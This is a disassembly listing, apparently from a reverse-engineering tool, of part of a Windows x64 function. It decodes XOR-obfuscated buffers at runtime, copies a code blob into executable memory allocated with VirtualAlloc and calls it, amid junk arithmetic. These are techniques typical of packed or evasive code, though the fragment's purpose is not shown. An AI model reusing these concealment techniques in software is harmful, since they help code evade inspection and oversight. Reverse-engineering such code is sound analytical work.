xorps xmm2, xmm1
movd dword [rsp + 0x38], xmm2
movdqa xmm4, xmmword [0x14002f9f0]
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm2, xmm4
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x3c]
xorps xmm2, xmm1
movd dword [rsp + 0x3c], xmm2
jmp 0x14000f8cf
lea r10, [rsp + 0x38]
mov r9d, r12d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xd7720f35
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x65
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x55
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 8
jl 0x14000f880
lea r8, [rbp + 0x178]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x120]
call fcn.140020360
nop
mov rcx, rax
call fcn.14001e5c0
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x14003bb10]
lea rbx, [0x140020300]
test rax, rax
je 0x14000f959
nop dword [rax + rax]
cmp rax, rbx
je 0x14000f946
inc ecx
mov rax, qword [rdi + rcx*8 + 0x3bb10]
test rax, rax
jne 0x14000f930
jmp 0x14000f959
mov eax, ecx
mov r8, qword [rdi + rax*8 + 0x3ab40]
test r8, r8
jne 0x14000fa3f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14000f982
mov r8, r12
jmp 0x14000fa1e
mov rax, rbx
mov rcx, r8
mov rdx, r14
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14000f990
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140039520]
mov qword [rdi + rax*8 + 0x3bb10], rbx
mov qword [rdi + rax*8 + 0x3ab40], r8
inc rax
mov qword [0x140039520], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000a030]
call r8
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov qword [rbp + 0xd8], rcx
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
lea rcx, [rbp + 0x120]
call fcn.14001e700
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x1a0]
call fcn.14001e080
mov dword [rbp + 0xd0], 0xffffff9c
mov dword [rbp + 0xd4], 0x64
movdqa xmm0, xmmword [0x14002fa40]
movups xmmword [rbp + 0x110], xmm0
mov dword [rsp + 0x30], r12d
movsd qword [rsp + 0x38], xmm7
lea rcx, [rsp + 0x50]
call fcn.140001650
mov qword [rsp + 0x40], 0x64
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14001fb40
lea rcx, [rbp + 0xf0]
call fcn.140002540
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xf0], xmm1
mov qword [rbp + 0x100], r12
lea rcx, [rsp + 0x40]
call fcn.14001fb60
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fb90
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fbc0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fbf0
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fc20
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.14001fc50
nop
mov rcx, qword [rax]
mov qword [rax], r12
mov qword [rsp + 0x50], rcx
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0xf0]
call fcn.14001dfb0
nop
lea rcx, [rsp + 0x50]
call fcn.14001df90
nop
lea rcx, [rsp + 0x40]
call fcn.14001df90
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.1400024f0
test al, al
jns 0x14000ffc3
nop
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov rbx, qword [rbp + 0xf8]
sub rbx, qword [rbp + 0xf0]
sar rbx, 3
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0xf0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov r8d, eax
mov edx, dword [rsp + 0x30]
mov rcx, rdi
call rbx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movaps xmm5, xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movaps xmm1, xmm5
call fcn.1400023c0
movsd xmm1, qword [rsp + 0x38]
addsd xmm0, xmm1
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x38]
subsd xmm1, xmm0
movsd qword [rsp + 0x38], xmm1
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x38]
movsd qword [rsp + 0x38], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x120]
call fcn.14001e760
nop
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x120]
call fcn.140002330
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rcx, [rbp + 0xd8]
call fcn.14001e130
nop
lea rax, [rbp + 0xd0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x70], xmm0
lea r8, [rsp + 0x70]
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.14001fd00
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd8]
call fcn.140002440
mov rdx, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xd8]
call fcn.14001fd60
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov dword [rsp + 0x30], ecx
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov ebx, eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov r8d, ebx
mov edx, eax
call fcn.140002510
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
test al, 1
jne 0x14000feb6
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000fec5
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
sub ecx, eax
mov dword [rsp + 0x30], ecx
mov edi, 5
nop word [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
movsd xmm5, qword [rsp + 0x38]
addsd xmm0, xmm5
movsd qword [rsp + 0x38], xmm0
lea rdx, [rbp + 0x1a0]
test bl, 1
jne 0x14000ff45
lea rcx, [rbp + 0xd0]
call fcn.14001faa0
mov ecx, dword [rsp + 0x30]
imul eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x14000ff65
movsd xmm5, qword [rsp + 0x38]
lea rcx, [rbp + 0x110]
call fcn.14001fc80
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x38], xmm5
inc ebx
cmp ebx, 5
jl 0x14000fee0
sub rdi, 1
jne 0x14000fed0
lea rcx, [rbp + 0xd8]
call fcn.14001e0d0
nop
lea rcx, [rbp + 0x120]
call fcn.14001e700
sub rsi, 1
jne 0x14000fca0
lea rcx, [rsp + 0x40]
call fcn.140001650
mov rcx, rax
lea rdx, [rsp + 0x60]
call fcn.1400024f0
test al, al
js 0x14000fc90
lea rdi, [0x140000000]
mov eax, dword [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.14001dfe0
movups xmm0, xmmword [str.2_9:_r]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x14002f4a0]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [0x14002f4b0]
movups xmmword [rbp + 0x10], xmm0
movsd xmm0, qword [0x14002f4c0]
movsd qword [rbp + 0x20], xmm0
mov eax, dword [0x14002f4c8]
mov dword [rbp + 0x28], eax
movzx eax, word [0x14002f4cc]
mov word [rbp + 0x2c], ax
movzx eax, byte [0x14002f4ce]
mov byte [rbp + 0x2e], al
mov r9d, r12d
cmp r15d, 2
jl 0x1400101c1
movdqa xmmword [rsp + 0x40], xmm15
lea rcx, [rbp - 0x10]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm12
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 4
pmuldq xmm2, xmm10
pmuldq xmm1, xmm10
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm9
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm1, xmm0
movd dword [rcx + 4], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x140010040
cmp r9d, 0x3f
jge 0x14001021f
movsxd rax, r9d
lea r10, [rbp - 0x10]
add r10, rax
nop dword [rax + rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xd7720f35
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x65
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x55
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x1400101d0
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rcx, [rbp + 0xd8]
call fcn.140002540
lea rdx, [rbp + 0x1608]
lea rcx, [rbp + 0xd8]
call fcn.140002550
nop
mov ecx, r12d
mov rax, qword [0x140039ea0]
lea rbx, [0x140020300]
test rax, rax
je 0x140010289
nop
cmp rax, rbx
je 0x140010276
inc ecx
mov rax, qword [rdi + rcx*8 + 0x39ea0]
test rax, rax
jne 0x140010260
jmp 0x140010289
mov eax, ecx
mov r10, qword [rdi + rax*8 + 0x39860]
test r10, r10
jne 0x14001036f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x1400102b2
mov r10, r12
jmp 0x14001034e
mov rax, rbx
mov rcx, r10
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r14, 1
jne 0x1400102c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140039850]
mov qword [rdi + rax*8 + 0x39ea0], rbx
mov qword [rdi + rax*8 + 0x39860], r10
inc rax
mov qword [0x140039850], rax
lea rdx, [rsp + 0x40]
lea rcx, [0x14000a030]
call r10
nop
mov rcx, qword [rbp + 0xd8]
xor rcx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0xe8]
mov qword [rax], rcx
lea rcx, [rbp + 0x178]
call fcn.14001e700
nop
mov rax, qword [rbp + 0x160]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x1608]
mov qword [rcx], rax
mov rcx, qword [rbp + 0x1530]
xor rcx, rsp
call fcn.14002a620
lea r11, [rsp + 0x16e0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret